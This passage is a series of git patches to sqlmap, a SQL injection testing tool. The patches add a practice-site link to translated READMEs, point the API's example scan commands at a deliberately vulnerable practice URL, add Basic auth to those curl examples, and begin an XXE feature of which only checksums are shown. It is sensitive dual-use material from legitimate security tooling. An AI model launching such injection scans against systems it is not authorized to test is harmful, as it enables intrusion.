80d66407453d34d672c389f6d9ab059d925528615429f2e6e9f286ce03d2c5d6 sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py diff --git a/doc/translations/README-ar-AR.md b/doc/translations/README-ar-AR.md index ecbb83d85..6def1dae2 100644 --- a/doc/translations/README-ar-AR.md +++ b/doc/translations/README-ar-AR.md @@ -65,4 +65,5 @@ * الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ * تويتر: [@sqlmap](https://x.com/sqlmap) * العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* ساحة التدريب: https://sekumart.sekuripy.hr * لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file diff --git a/doc/translations/README-bg-BG.md b/doc/translations/README-bg-BG.md index d66b5301e..eac60822f 100644 --- a/doc/translations/README-bg-BG.md +++ b/doc/translations/README-bg-BG.md @@ -47,4 +47,5 @@ sqlmap работи самостоятелно с [Python](https://www.python.or * Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Площадка за упражнения: https://sekumart.sekuripy.hr * Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-bn-BD.md b/doc/translations/README-bn-BD.md index 8e4cfe369..2cff7d252 100644 --- a/doc/translations/README-bn-BD.md +++ b/doc/translations/README-bn-BD.md @@ -58,5 +58,6 @@ SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এ * সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* অনুশীলন সাইট: https://sekumart.sekuripy.hr * স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ckb-KU.md b/doc/translations/README-ckb-KU.md index db8139553..02471d311 100644 --- a/doc/translations/README-ckb-KU.md +++ b/doc/translations/README-ckb-KU.md @@ -62,6 +62,7 @@ sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https * پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* گۆڕەپانی تاقیکردنەوە: https://sekumart.sekuripy.hr * وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە وەرگێڕانەکان diff --git a/doc/translations/README-de-DE.md b/doc/translations/README-de-DE.md index 65d96220e..abb9cea3a 100644 --- a/doc/translations/README-de-DE.md +++ b/doc/translations/README-de-DE.md @@ -46,4 +46,5 @@ Links * Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Spielwiese: https://sekumart.sekuripy.hr * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md index f85f4862f..a2878800d 100644 --- a/doc/translations/README-es-MX.md +++ b/doc/translations/README-es-MX.md @@ -46,4 +46,5 @@ Enlaces * Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Campo de pruebas: https://sekumart.sekuripy.hr * Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md index eb84e4109..2f3cbf313 100644 --- a/doc/translations/README-fa-IR.md +++ b/doc/translations/README-fa-IR.md @@ -81,4 +81,5 @@ * سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ * توییتر: [@sqlmap](https://x.com/sqlmap) * رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* زمین تمرین: https://sekumart.sekuripy.hr * تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 4d867898b..02bfe0d89 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -46,4 +46,5 @@ Liens * Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Terrain de jeu: https://sekumart.sekuripy.hr * Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 0d5e04465..161280fe8 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -47,4 +47,5 @@ * Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Χώρος δοκιμών: https://sekumart.sekuripy.hr * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md index 45d5eaad1..4807f57d6 100644 --- a/doc/translations/README-hr-HR.md +++ b/doc/translations/README-hr-HR.md @@ -47,4 +47,5 @@ Poveznice * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Vježbalište: https://sekumart.sekuripy.hr * Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index f82bf71d2..5a35ec384 100644 --- a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -50,4 +50,5 @@ Tautan * Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos) +* Arena latihan: https://sekumart.sekuripy.hr * Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-in-HI.md b/doc/translations/README-in-HI.md index b311f81af..61aaec255 100644 --- a/doc/translations/README-in-HI.md +++ b/doc/translations/README-in-HI.md @@ -46,5 +46,6 @@ sqlmap [Python](https://www.python.org/download/) संस्करण **2.7** * अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * ट्विटर: [@sqlmap](https://x.com/sqlmap) * डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* अभ्यास स्थल: https://sekumart.sekuripy.hr * स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md index 6b074141b..66c7e662a 100644 --- a/doc/translations/README-it-IT.md +++ b/doc/translations/README-it-IT.md @@ -47,4 +47,5 @@ Link * Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Campo di prova: https://sekumart.sekuripy.hr * Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md index d43e3f563..e544a9a45 100644 --- a/doc/translations/README-ja-JP.md +++ b/doc/translations/README-ja-JP.md @@ -48,4 +48,5 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの * よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* プレイグラウンド: https://sekumart.sekuripy.hr * スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ka-GE.md b/doc/translations/README-ka-GE.md index 12b59b31e..419a97425 100644 --- a/doc/translations/README-ka-GE.md +++ b/doc/translations/README-ka-GE.md @@ -46,4 +46,5 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ * ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* სავარჯიშო სივრცე: https://sekumart.sekuripy.hr * ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ko-KR.md b/doc/translations/README-ko-KR.md index 254220983..ab612d4af 100644 --- a/doc/translations/README-ko-KR.md +++ b/doc/translations/README-ko-KR.md @@ -47,4 +47,5 @@ sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록 * 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * 트위터: [@sqlmap](https://x.com/sqlmap) * 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* 플레이그라운드: https://sekumart.sekuripy.hr * 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-nl-NL.md b/doc/translations/README-nl-NL.md index f11416841..d04fda2ab 100644 --- a/doc/translations/README-nl-NL.md +++ b/doc/translations/README-nl-NL.md @@ -47,4 +47,5 @@ Links * Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Speeltuin: https://sekumart.sekuripy.hr * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md index e7b145e96..0644def1b 100644 --- a/doc/translations/README-pl-PL.md +++ b/doc/translations/README-pl-PL.md @@ -47,4 +47,5 @@ Odnośniki * Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Piaskownica: https://sekumart.sekuripy.hr * Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md index 9f5ebfd99..462f7497c 100644 --- a/doc/translations/README-pt-BR.md +++ b/doc/translations/README-pt-BR.md @@ -47,4 +47,5 @@ Links * Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos) +* Playground: https://sekumart.sekuripy.hr * Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-rs-RS.md b/doc/translations/README-rs-RS.md index e130727fe..be2a04590 100644 --- a/doc/translations/README-rs-RS.md +++ b/doc/translations/README-rs-RS.md @@ -47,4 +47,5 @@ Linkovi * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Poligon: https://sekumart.sekuripy.hr * Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ru-RU.md b/doc/translations/README-ru-RU.md index 381472225..6697515e1 100644 --- a/doc/translations/README-ru-RU.md +++ b/doc/translations/README-ru-RU.md @@ -47,4 +47,5 @@ sqlmap работает из коробки с [Python](https://www.python.org/d * Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Песочница: https://sekumart.sekuripy.hr * Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-sk-SK.md b/doc/translations/README-sk-SK.md index d673b3e3a..d5e29b67c 100644 --- a/doc/translations/README-sk-SK.md +++ b/doc/translations/README-sk-SK.md @@ -47,4 +47,5 @@ Linky * Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Cvičisko: https://sekumart.sekuripy.hr * Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 46e5267e9..a1c67a713 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -50,4 +50,5 @@ Bağlantılar * Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Deneme alanı: https://sekumart.sekuripy.hr * Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md index ab7814676..f55c19ffe 100644 --- a/doc/translations/README-uk-UA.md +++ b/doc/translations/README-uk-UA.md @@ -47,4 +47,5 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow * Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Пісочниця: https://sekumart.sekuripy.hr * Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-vi-VN.md b/doc/translations/README-vi-VN.md index ceb272455..96d99bee0 100644 --- a/doc/translations/README-vi-VN.md +++ b/doc/translations/README-vi-VN.md @@ -49,4 +49,5 @@ Liên kết * Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Sân tập: https://sekumart.sekuripy.hr * Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md index b065c10a0..7157d361f 100644 --- a/doc/translations/README-zh-CN.md +++ b/doc/translations/README-zh-CN.md @@ -46,4 +46,5 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和 * 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* 靶场: https://sekumart.sekuripy.hr * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/lib/core/settings.py b/lib/core/settings.py index 4600eb3d1..15d0f0457 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.21" +VERSION = "1.10.7.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/api.py b/lib/utils/api.py index 7b5f39f43..83060b079 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -981,7 +981,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non dbgMsg = "Example client access from command line:" dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (host, port) - dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testasp.vulnweb.com/showforum.asp?id=1\"}' http://%s:%d/scan/$taskid/start" % (host, port) + dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"https://sekumart.sekuripy.hr/product.php?id=1\"}' http://%s:%d/scan/$taskid/start" % (host, port) dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port) dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port) logger.debug(dbgMsg) @@ -1111,7 +1111,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non elif command in ("help", "?"): msg = "help Show this help message\n" - msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testasp.vulnweb.com/showforum.asp?id=1\"')\n" + msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"https://sekumart.sekuripy.hr/product.php?id=1\"')\n" msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n" msg += "data Retrieve and show data for current task\n" msg += "log Retrieve and show log for current task\n" diff --git a/sqlmapapi.yaml b/sqlmapapi.yaml index 28e273875..59214a7ac 100644 --- a/sqlmapapi.yaml +++ b/sqlmapapi.yaml @@ -216,7 +216,7 @@ paths: value: success: true options: - url: "http://testasp.vulnweb.com/showforum.asp?id=1" + url: "https://sekumart.sekuripy.hr/product.php?id=1" batch: true threads: 1 invalidTask: @@ -257,7 +257,7 @@ paths: value: success: true options: - url: "http://testasp.vulnweb.com/showforum.asp?id=1" + url: "https://sekumart.sekuripy.hr/product.php?id=1" cookie: "id=1" unknownOption: value: @@ -290,7 +290,7 @@ paths: cookie: "id=1" setTarget: value: - url: "http://testasp.vulnweb.com/showforum.asp?id=1" + url: "https://sekumart.sekuripy.hr/product.php?id=1" responses: "200": description: Options set, or an API-level failure envelope. @@ -341,7 +341,7 @@ paths: examples: basicUrlScan: value: - url: "http://testasp.vulnweb.com/showforum.asp?id=1" + url: "https://sekumart.sekuripy.hr/product.php?id=1" responses: "200": description: Scan started, or an API-level failure envelope. @@ -568,7 +568,7 @@ paths: description: Target output-directory name. schema: type: string - example: testasp.vulnweb.com + example: sekumart.sekuripy.hr - name: filename in: path required: true @@ -788,7 +788,7 @@ components: additionalProperties: $ref: "#/components/schemas/OptionValue" example: - url: "http://testasp.vulnweb.com/showforum.asp?id=1" + url: "https://sekumart.sekuripy.hr/product.php?id=1" cookie: "id=1" batch: true threads: 1 From 16c8909a0c01e398c3e0ce10b11b44ccdca5d323 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 3 Jul 2026 16:57:46 +0200 Subject: [PATCH 23/34] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/utils/api.py | 9 +++++---- 3 files changed, 8 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d51e81eb4..1fe9eb1ca 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -f86e98fbcdd8aa71e24dfd610359c1aaaff633e87940b684497d5492c3d468c4 lib/core/settings.py +6f4a6f82360addb01fb9581a67f67df30a2d44606b631bf3e1dc026e46f83e55 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -255,7 +255,7 @@ f6678ac1342f8d234ed32ae69be5ac5d7837393e9348929ec029c9764c030e82 lib/techniques c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques/union/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py -d72933a3783873a589752e3bf0e2e351874c3d7e4610cf0a956d909fc1aa5a21 lib/utils/api.py +2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py 51deedec3d3e869b067824caa51406d2ef396c188f82013ca60777006a821e27 lib/utils/deps.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 15d0f0457..39079dd02 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.22" +VERSION = "1.10.7.23" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/api.py b/lib/utils/api.py index 83060b079..1a0794ec1 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -979,11 +979,12 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non DataStore.username = username DataStore.password = password + auth = ' --user "%s:%s"' % (username, password) if (username or password) else "" # REST API requires HTTP Basic auth dbgMsg = "Example client access from command line:" - dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (host, port) - dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"https://sekumart.sekuripy.hr/product.php?id=1\"}' http://%s:%d/scan/$taskid/start" % (host, port) - dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port) - dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port) + dbgMsg += "\n\t$ taskid=$(curl -s%s http://%s:%d/task/new | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (auth, host, port) + dbgMsg += "\n\t$ curl%s -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"https://sekumart.sekuripy.hr/product.php?id=1\"}' http://%s:%d/scan/$taskid/start" % (auth, host, port) + dbgMsg += "\n\t$ curl%s http://%s:%d/scan/$taskid/data" % (auth, host, port) + dbgMsg += "\n\t$ curl%s http://%s:%d/scan/$taskid/log" % (auth, host, port) logger.debug(dbgMsg) addr = "http://%s:%d" % (host, port) From 5fa2da5eaebc38747a8a748ffd6342b88db59db2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 09:53:04 +0200 Subject: [PATCH 24/34] Adding support for --xxe --- data/txt/sha256sums.txt | 21 +- lib/controller/checks.py | 9 + lib/controller/controller.py | 9 +- lib/core/option.py | 27 +- lib/core/optiondict.py | 3 + lib/core/settings.py | 69 +++- lib/parse/cmdline.py | 11 +- lib/request/dns.py | 54 +++ lib/request/interactsh.py | 171 ++++++++ lib/request/webhooksite.py | 72 ++++ lib/techniques/xxe/__init__.py | 8 + lib/techniques/xxe/inject.py | 699 +++++++++++++++++++++++++++++++++ tests/test_dns_server.py | 40 +- tests/test_xxe.py | 236 +++++++++++ 14 files changed, 1413 insertions(+), 16 deletions(-) create mode 100644 lib/request/interactsh.py create mode 100644 lib/request/webhooksite.py create mode 100644 lib/techniques/xxe/__init__.py create mode 100644 lib/techniques/xxe/inject.py create mode 100644 tests/test_xxe.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 1fe9eb1ca..ed2947c53 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,8 +162,8 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22 extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -736715a73941a06e5d3d349dd01a1f1b171f54eb4c374c6752b2cc44b0977ffe lib/controller/checks.py -2086100cd7a78a4e8c12d72bd4f5b414ec6b3f49926e83285494534140e60ce7 lib/controller/controller.py +0d1072ac052b65fca6da9975238b6f8816bc78603631b68ada4c7aea97f060e4 lib/controller/checks.py +00d56cc59757cc3f3073ac20735ac9954ff06242b9433a96bd4186c090094db3 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py @@ -181,15 +181,15 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -47c9828bdfa606a02f07925539d7af55c5eaf1fda61d05ecc40f73d77df036f9 lib/core/optiondict.py -3ac60716cf1c619b80038acb8b213c728cc607e7c5a387911e01635a23fbc92b lib/core/option.py +23852bdfadfb4bd5663302a63bdcc7227c0314fbdea884167d58ca21cda9fb09 lib/core/optiondict.py +0caac9b4af2cc50321a4d8126d92481ad0b092af2075e7efa19bccef529986fb lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -6f4a6f82360addb01fb9581a67f67df30a2d44606b631bf3e1dc026e46f83e55 lib/core/settings.py +d974c44979d7699feda3eafeb1baee9618cb6dbe27b144a6d36bec95527c5cee lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -fef119c6f3f2fe6a092112fd832d645c58e4c3c2af0bd97ace4487372c1e3574 lib/parse/cmdline.py +6d2b663807178b4eed0060ed22cde5a94d1b63b7f1ce54e401f709acfd2344c0 lib/parse/cmdline.py 925a068efa1885fa40671414a887c088f2aafbe8cb76f01286e6bde3f624dac1 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 